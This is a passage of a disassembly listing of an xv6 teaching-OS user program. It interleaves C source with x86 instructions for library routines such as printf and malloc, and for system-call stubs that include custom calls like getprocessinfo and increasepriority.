14e7: 89 c6 mov %eax,%esi close(fd); 14e9: 89 1c 24 mov %ebx,(%esp) 14ec: e8 b9 00 00 00 call 15aa <close> return r; 14f1: 83 c4 10 add $0x10,%esp 14f4: 89 f0 mov %esi,%eax } 14f6: 8d 65 f8 lea -0x8(%ebp),%esp 14f9: 5b pop %ebx 14fa: 5e pop %esi 14fb: 5d pop %ebp 14fc: c3 ret 14fd: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 1500: b8 ff ff ff ff mov $0xffffffff,%eax 1505: eb ef jmp 14f6 <stat+0x36> 1507: 89 f6 mov %esi,%esi 1509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001510 <atoi>: return r; } int atoi(const char *s) { 1510: 55 push %ebp 1511: 89 e5 mov %esp,%ebp 1513: 53 push %ebx 1514: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 1517: 0f be 11 movsbl (%ecx),%edx 151a: 8d 42 d0 lea -0x30(%edx),%eax 151d: 3c 09 cmp $0x9,%al 151f: b8 00 00 00 00 mov $0x0,%eax 1524: 77 1f ja 1545 <atoi+0x35> 1526: 8d 76 00 lea 0x0(%esi),%esi 1529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 1530: 8d 04 80 lea (%eax,%eax,4),%eax 1533: 83 c1 01 add $0x1,%ecx 1536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 153a: 0f be 11 movsbl (%ecx),%edx 153d: 8d 5a d0 lea -0x30(%edx),%ebx 1540: 80 fb 09 cmp $0x9,%bl 1543: 76 eb jbe 1530 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 1545: 5b pop %ebx 1546: 5d pop %ebp 1547: c3 ret 1548: 90 nop 1549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00001550 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1550: 55 push %ebp 1551: 89 e5 mov %esp,%ebp 1553: 56 push %esi 1554: 53 push %ebx 1555: 8b 5d 10 mov 0x10(%ebp),%ebx 1558: 8b 45 08 mov 0x8(%ebp),%eax 155b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 155e: 85 db test %ebx,%ebx 1560: 7e 14 jle 1576 <memmove+0x26> 1562: 31 d2 xor %edx,%edx 1564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 1568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 156c: 88 0c 10 mov %cl,(%eax,%edx,1) 156f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1572: 39 da cmp %ebx,%edx 1574: 75 f2 jne 1568 <memmove+0x18> *dst++ = *src++; return vdst; } 1576: 5b pop %ebx 1577: 5e pop %esi 1578: 5d pop %ebp 1579: c3 ret 0000157a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 157a: b8 01 00 00 00 mov $0x1,%eax 157f: cd 40 int $0x40 1581: c3 ret 00001582 <exit>: SYSCALL(exit) 1582: b8 02 00 00 00 mov $0x2,%eax 1587: cd 40 int $0x40 1589: c3 ret 0000158a <wait>: SYSCALL(wait) 158a: b8 03 00 00 00 mov $0x3,%eax 158f: cd 40 int $0x40 1591: c3 ret 00001592 <pipe>: SYSCALL(pipe) 1592: b8 04 00 00 00 mov $0x4,%eax 1597: cd 40 int $0x40 1599: c3 ret 0000159a <read>: SYSCALL(read) 159a: b8 05 00 00 00 mov $0x5,%eax 159f: cd 40 int $0x40 15a1: c3 ret 000015a2 <write>: SYSCALL(write) 15a2: b8 10 00 00 00 mov $0x10,%eax 15a7: cd 40 int $0x40 15a9: c3 ret 000015aa <close>: SYSCALL(close) 15aa: b8 15 00 00 00 mov $0x15,%eax 15af: cd 40 int $0x40 15b1: c3 ret 000015b2 <kill>: SYSCALL(kill) 15b2: b8 06 00 00 00 mov $0x6,%eax 15b7: cd 40 int $0x40 15b9: c3 ret 000015ba <exec>: SYSCALL(exec) 15ba: b8 07 00 00 00 mov $0x7,%eax 15bf: cd 40 int $0x40 15c1: c3 ret 000015c2 <open>: SYSCALL(open) 15c2: b8 0f 00 00 00 mov $0xf,%eax 15c7: cd 40 int $0x40 15c9: c3 ret 000015ca <mknod>: SYSCALL(mknod) 15ca: b8 11 00 00 00 mov $0x11,%eax 15cf: cd 40 int $0x40 15d1: c3 ret 000015d2 <unlink>: SYSCALL(unlink) 15d2: b8 12 00 00 00 mov $0x12,%eax 15d7: cd 40 int $0x40 15d9: c3 ret 000015da <fstat>: SYSCALL(fstat) 15da: b8 08 00 00 00 mov $0x8,%eax 15df: cd 40 int $0x40 15e1: c3 ret 000015e2 <link>: SYSCALL(link) 15e2: b8 13 00 00 00 mov $0x13,%eax 15e7: cd 40 int $0x40 15e9: c3 ret 000015ea <mkdir>: SYSCALL(mkdir) 15ea: b8 14 00 00 00 mov $0x14,%eax 15ef: cd 40 int $0x40 15f1: c3 ret 000015f2 <chdir>: SYSCALL(chdir) 15f2: b8 09 00 00 00 mov $0x9,%eax 15f7: cd 40 int $0x40 15f9: c3 ret 000015fa <dup>: SYSCALL(dup) 15fa: b8 0a 00 00 00 mov $0xa,%eax 15ff: cd 40 int $0x40 1601: c3 ret 00001602 <getpid>: SYSCALL(getpid) 1602: b8 0b 00 00 00 mov $0xb,%eax 1607: cd 40 int $0x40 1609: c3 ret 0000160a <sbrk>: SYSCALL(sbrk) 160a: b8 0c 00 00 00 mov $0xc,%eax 160f: cd 40 int $0x40 1611: c3 ret 00001612 <sleep>: SYSCALL(sleep) 1612: b8 0d 00 00 00 mov $0xd,%eax 1617: cd 40 int $0x40 1619: c3 ret 0000161a <uptime>: SYSCALL(uptime) 161a: b8 0e 00 00 00 mov $0xe,%eax 161f: cd 40 int $0x40 1621: c3 ret 00001622 <getcount>: SYSCALL(getcount) //added getcount here 1622: b8 16 00 00 00 mov $0x16,%eax 1627: cd 40 int $0x40 1629: c3 ret 0000162a <getprocessinfo>: SYSCALL(getprocessinfo) //printing all process info 162a: b8 17 00 00 00 mov $0x17,%eax 162f: cd 40 int $0x40 1631: c3 ret 00001632 <increasepriority>: SYSCALL(increasepriority) 1632: b8 18 00 00 00 mov $0x18,%eax 1637: cd 40 int $0x40 1639: c3 ret 163a: 66 90 xchg %ax,%ax 163c: 66 90 xchg %ax,%ax 163e: 66 90 xchg %ax,%ax 00001640 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1640: 55 push %ebp 1641: 89 e5 mov %esp,%ebp 1643: 57 push %edi 1644: 56 push %esi 1645: 53 push %ebx 1646: 89 c6 mov %eax,%esi 1648: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 164b: 8b 5d 08 mov 0x8(%ebp),%ebx 164e: 85 db test %ebx,%ebx 1650: 74 7e je 16d0 <printint+0x90> 1652: 89 d0 mov %edx,%eax 1654: c1 e8 1f shr $0x1f,%eax 1657: 84 c0 test %al,%al 1659: 74 75 je 16d0 <printint+0x90> neg = 1; x = -xx; 165b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 165d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 1664: f7 d8 neg %eax 1666: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 1669: 31 ff xor %edi,%edi 166b: 8d 5d d7 lea -0x29(%ebp),%ebx 166e: 89 ce mov %ecx,%esi 1670: eb 08 jmp 167a <printint+0x3a> 1672: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1678: 89 cf mov %ecx,%edi 167a: 31 d2 xor %edx,%edx 167c: 8d 4f 01 lea 0x1(%edi),%ecx 167f: f7 f6 div %esi 1681: 0f b6 92 54 1a 00 00 movzbl 0x1a54(%edx),%edx }while((x /= base) != 0); 1688: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 168a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 168d: 75 e9 jne 1678 <printint+0x38> if(neg) 168f: 8b 45 c4 mov -0x3c(%ebp),%eax 1692: 8b 75 c0 mov -0x40(%ebp),%esi 1695: 85 c0 test %eax,%eax 1697: 74 08 je 16a1 <printint+0x61> buf[i++] = '-'; 1699: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 169e: 8d 4f 02 lea 0x2(%edi),%ecx 16a1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 16a5: 8d 76 00 lea 0x0(%esi),%esi 16a8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 16ab: 83 ec 04 sub $0x4,%esp 16ae: 83 ef 01 sub $0x1,%edi 16b1: 6a 01 push $0x1 16b3: 53 push %ebx 16b4: 56 push %esi 16b5: 88 45 d7 mov %al,-0x29(%ebp) 16b8: e8 e5 fe ff ff call 15a2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 16bd: 83 c4 10 add $0x10,%esp 16c0: 39 df cmp %ebx,%edi 16c2: 75 e4 jne 16a8 <printint+0x68> putc(fd, buf[i]); } 16c4: 8d 65 f4 lea -0xc(%ebp),%esp 16c7: 5b pop %ebx 16c8: 5e pop %esi 16c9: 5f pop %edi 16ca: 5d pop %ebp 16cb: c3 ret 16cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 16d0: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 16d2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 16d9: eb 8b jmp 1666 <printint+0x26> 16db: 90 nop 16dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000016e0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 16e0: 55 push %ebp 16e1: 89 e5 mov %esp,%ebp 16e3: 57 push %edi 16e4: 56 push %esi 16e5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 16e6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 16e9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 16ec: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 16ef: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 16f2: 89 45 d0 mov %eax,-0x30(%ebp) 16f5: 0f b6 1e movzbl (%esi),%ebx 16f8: 83 c6 01 add $0x1,%esi 16fb: 84 db test %bl,%bl 16fd: 0f 84 b0 00 00 00 je 17b3 <printf+0xd3> 1703: 31 d2 xor %edx,%edx 1705: eb 39 jmp 1740 <printf+0x60> 1707: 89 f6 mov %esi,%esi 1709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 1710: 83 f8 25 cmp $0x25,%eax 1713: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 1716: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 171b: 74 18 je 1735 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 171d: 8d 45 e2 lea -0x1e(%ebp),%eax 1720: 83 ec 04 sub $0x4,%esp 1723: 88 5d e2 mov %bl,-0x1e(%ebp) 1726: 6a 01 push $0x1 1728: 50 push %eax 1729: 57 push %edi 172a: e8 73 fe ff ff call 15a2 <write> 172f: 8b 55 d4 mov -0x2c(%ebp),%edx 1732: 83 c4 10 add $0x10,%esp 1735: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 1738: 0f b6 5e ff movzbl -0x1(%esi),%ebx 173c: 84 db test %bl,%bl 173e: 74 73 je 17b3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 1740: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 1742: 0f be cb movsbl %bl,%ecx 1745: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1748: 74 c6 je 1710 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 174a: 83 fa 25 cmp $0x25,%edx 174d: 75 e6 jne 1735 <printf+0x55> if(c == 'd'){ 174f: 83 f8 64 cmp $0x64,%eax 1752: 0f 84 f8 00 00 00 je 1850 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1758: 81 e1 f7 00 00 00 and $0xf7,%ecx 175e: 83 f9 70 cmp $0x70,%ecx 1761: 74 5d je 17c0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1763: 83 f8 73 cmp $0x73,%eax 1766: 0f 84 84 00 00 00 je 17f0 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 176c: 83 f8 63 cmp $0x63,%eax 176f: 0f 84 ea 00 00 00 je 185f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 1775: 83 f8 25 cmp $0x25,%eax 1778: 0f 84 c2 00 00 00 je 1840 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 177e: 8d 45 e7 lea -0x19(%ebp),%eax 1781: 83 ec 04 sub $0x4,%esp 1784: c6 45 e7 25 movb $0x25,-0x19(%ebp) 1788: 6a 01 push $0x1 178a: 50 push %eax 178b: 57 push %edi 178c: e8 11 fe ff ff call 15a2 <write> 1791: 83 c4 0c add $0xc,%esp 1794: 8d 45 e6 lea -0x1a(%ebp),%eax 1797: 88 5d e6 mov %bl,-0x1a(%ebp) 179a: 6a 01 push $0x1 179c: 50 push %eax 179d: 57 push %edi 179e: 83 c6 01 add $0x1,%esi 17a1: e8 fc fd ff ff call 15a2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 17a6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 17aa: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 17ad: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 17af: 84 db test %bl,%bl 17b1: 75 8d jne 1740 <printf+0x60> putc(fd, c); } state = 0; } } } 17b3: 8d 65 f4 lea -0xc(%ebp),%esp 17b6: 5b pop %ebx 17b7: 5e pop %esi 17b8: 5f pop %edi 17b9: 5d pop %ebp 17ba: c3 ret 17bb: 90 nop 17bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 17c0: 83 ec 0c sub $0xc,%esp 17c3: b9 10 00 00 00 mov $0x10,%ecx 17c8: 6a 00 push $0x0 17ca: 8b 5d d0 mov -0x30(%ebp),%ebx 17cd: 89 f8 mov %edi,%eax 17cf: 8b 13 mov (%ebx),%edx 17d1: e8 6a fe ff ff call 1640 <printint> ap++; 17d6: 89 d8 mov %ebx,%eax 17d8: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 17db: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 17dd: 83 c0 04 add $0x4,%eax 17e0: 89 45 d0 mov %eax,-0x30(%ebp) 17e3: e9 4d ff ff ff jmp 1735 <printf+0x55> 17e8: 90 nop 17e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 17f0: 8b 45 d0 mov -0x30(%ebp),%eax 17f3: 8b 18 mov (%eax),%ebx ap++; 17f5: 83 c0 04 add $0x4,%eax 17f8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 17fb: b8 4a 1a 00 00 mov $0x1a4a,%eax 1800: 85 db test %ebx,%ebx 1802: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 1805: 0f b6 03 movzbl (%ebx),%eax 1808: 84 c0 test %al,%al 180a: 74 23 je 182f <printf+0x14f> 180c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1810: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1813: 8d 45 e3 lea -0x1d(%ebp),%eax 1816: 83 ec 04 sub $0x4,%esp 1819: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 181b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 181e: 50 push %eax 181f: 57 push %edi 1820: e8 7d fd ff ff call 15a2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1825: 0f b6 03 movzbl (%ebx),%eax 1828: 83 c4 10 add $0x10,%esp 182b: 84 c0 test %al,%al 182d: 75 e1 jne 1810 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 182f: 31 d2 xor %edx,%edx 1831: e9 ff fe ff ff jmp 1735 <printf+0x55> 1836: 8d 76 00 lea 0x0(%esi),%esi 1839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1840: 83 ec 04 sub $0x4,%esp 1843: 88 5d e5 mov %bl,-0x1b(%ebp) 1846: 8d 45 e5 lea -0x1b(%ebp),%eax 1849: 6a 01 push $0x1 184b: e9 4c ff ff ff jmp 179c <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 1850: 83 ec 0c sub $0xc,%esp 1853: b9 0a 00 00 00 mov $0xa,%ecx 1858: 6a 01 push $0x1 185a: e9 6b ff ff ff jmp 17ca <printf+0xea> 185f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1862: 83 ec 04 sub $0x4,%esp 1865: 8b 03 mov (%ebx),%eax 1867: 6a 01 push $0x1 1869: 88 45 e4 mov %al,-0x1c(%ebp) 186c: 8d 45 e4 lea -0x1c(%ebp),%eax 186f: 50 push %eax 1870: 57 push %edi 1871: e8 2c fd ff ff call 15a2 <write> 1876: e9 5b ff ff ff jmp 17d6 <printf+0xf6> 187b: 66 90 xchg %ax,%ax 187d: 66 90 xchg %ax,%ax 187f: 90 nop 00001880 <free>: static Header base; static Header *freep; void free(void *ap) { 1880: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1881: a1 70 1d 00 00 mov 0x1d70,%eax static Header base; static Header *freep; void free(void *ap) { 1886: 89 e5 mov %esp,%ebp 1888: 57 push %edi 1889: 56 push %esi 188a: 53 push %ebx 188b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 188e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 1890: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1893: 39 c8 cmp %ecx,%eax 1895: 73 19 jae 18b0 <free+0x30> 1897: 89 f6 mov %esi,%esi 1899: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 18a0: 39 d1 cmp %edx,%ecx 18a2: 72 1c jb 18c0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 18a4: 39 d0 cmp %edx,%eax 18a6: 73 18 jae 18c0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 18a8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 18aa: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 18ac: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 18ae: 72 f0 jb 18a0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 18b0: 39 d0 cmp %edx,%eax 18b2: 72 f4 jb 18a8 <free+0x28> 18b4: 39 d1 cmp %edx,%ecx 18b6: 73 f0 jae 18a8 <free+0x28> 18b8: 90 nop 18b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 18c0: 8b 73 fc mov -0x4(%ebx),%esi 18c3: 8d 3c f1 lea (%ecx,%esi,8),%edi 18c6: 39 d7 cmp %edx,%edi 18c8: 74 19 je 18e3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 18ca: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 18cd: 8b 50 04 mov 0x4(%eax),%edx 18d0: 8d 34 d0 lea (%eax,%edx,8),%esi 18d3: 39 f1 cmp %esi,%ecx 18d5: 74 23 je 18fa <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 18d7: 89 08 mov %ecx,(%eax) freep = p; 18d9: a3 70 1d 00 00 mov %eax,0x1d70 } 18de: 5b pop %ebx 18df: 5e pop %esi 18e0: 5f pop %edi 18e1: 5d pop %ebp 18e2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 18e3: 03 72 04 add 0x4(%edx),%esi 18e6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 18e9: 8b 10 mov (%eax),%edx 18eb: 8b 12 mov (%edx),%edx 18ed: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 18f0: 8b 50 04 mov 0x4(%eax),%edx 18f3: 8d 34 d0 lea (%eax,%edx,8),%esi 18f6: 39 f1 cmp %esi,%ecx 18f8: 75 dd jne 18d7 <free+0x57> p->s.size += bp->s.size; 18fa: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 18fd: a3 70 1d 00 00 mov %eax,0x1d70 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 1902: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1905: 8b 53 f8 mov -0x8(%ebx),%edx 1908: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 190a: 5b pop %ebx 190b: 5e pop %esi 190c: 5f pop %edi 190d: 5d pop %ebp 190e: c3 ret 190f: 90 nop 00001910 <malloc>: return freep; } void* malloc(uint nbytes) { 1910: 55 push %ebp 1911: 89 e5 mov %esp,%ebp 1913: 57 push %edi 1914: 56 push %esi 1915: 53 push %ebx 1916: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1919: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 191c: 8b 15 70 1d 00 00 mov 0x1d70,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1922: 8d 78 07 lea 0x7(%eax),%edi 1925: c1 ef 03 shr $0x3,%edi 1928: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 192b: 85 d2 test %edx,%edx 192d: 0f 84 a3 00 00 00 je 19d6 <malloc+0xc6> 1933: 8b 02 mov (%edx),%eax 1935: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 1938: 39 cf cmp %ecx,%edi 193a: 76 74 jbe 19b0 <malloc+0xa0> 193c: 81 ff 00 10 00 00 cmp $0x1000,%edi 1942: be 00 10 00 00 mov $0x1000,%esi 1947: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 194e: 0f 43 f7 cmovae %edi,%esi 1951: ba 00 80 00 00 mov $0x8000,%edx 1956: 81 ff ff 0f 00 00 cmp $0xfff,%edi 195c: 0f 46 da cmovbe %edx,%ebx 195f: eb 10 jmp 1971 <malloc+0x61> 1961: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1968: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 196a: 8b 48 04 mov 0x4(%eax),%ecx 196d: 39 cf cmp %ecx,%edi 196f: 76 3f jbe 19b0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 1971: 39 05 70 1d 00 00 cmp %eax,0x1d70 1977: 89 c2 mov %eax,%edx 1979: 75 ed jne 1968 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 197b: 83 ec 0c sub $0xc,%esp 197e: 53 push %ebx 197f: e8 86 fc ff ff call 160a <sbrk> if(p == (char*)-1) 1984: 83 c4 10 add $0x10,%esp 1987: 83 f8 ff cmp $0xffffffff,%eax 198a: 74 1c je 19a8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 198c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 198f: 83 ec 0c sub $0xc,%esp 1992: 83 c0 08 add $0x8,%eax 1995: 50 push %eax 1996: e8 e5 fe ff ff call 1880 <free> return freep; 199b: 8b 15 70 1d 00 00 mov 0x1d70,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 19a1: 83 c4 10 add $0x10,%esp 19a4: 85 d2 test %edx,%edx 19a6: 75 c0 jne 1968 <malloc+0x58> return 0; 19a8: 31 c0 xor %eax,%eax 19aa: eb 1c jmp 19c8 <malloc+0xb8> 19ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 19b0: 39 cf cmp %ecx,%edi 19b2: 74 1c je 19d0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 19b4: 29 f9 sub %edi,%ecx 19b6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 19b9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 19bc: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 19bf: 89 15 70 1d 00 00 mov %edx,0x1d70 return (void*)(p + 1); 19c5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 19c8: 8d 65 f4 lea -0xc(%ebp),%esp 19cb: 5b pop %ebx 19cc: 5e pop %esi 19cd: 5f pop %edi 19ce: 5d pop %ebp 19cf: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 19d0: 8b 08 mov (%eax),%ecx 19d2: 89 0a mov %ecx,(%edx) 19d4: eb e9 jmp 19bf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 19d6: c7 05 70 1d 00 00 74 movl $0x1d74,0x1d70 19dd: 1d 00 00 19e0: c7 05 74 1d 00 00 74 movl $0x1d74,0x1d74 19e7: 1d 00 00 base.s.size = 0; 19ea: b8 74 1d 00 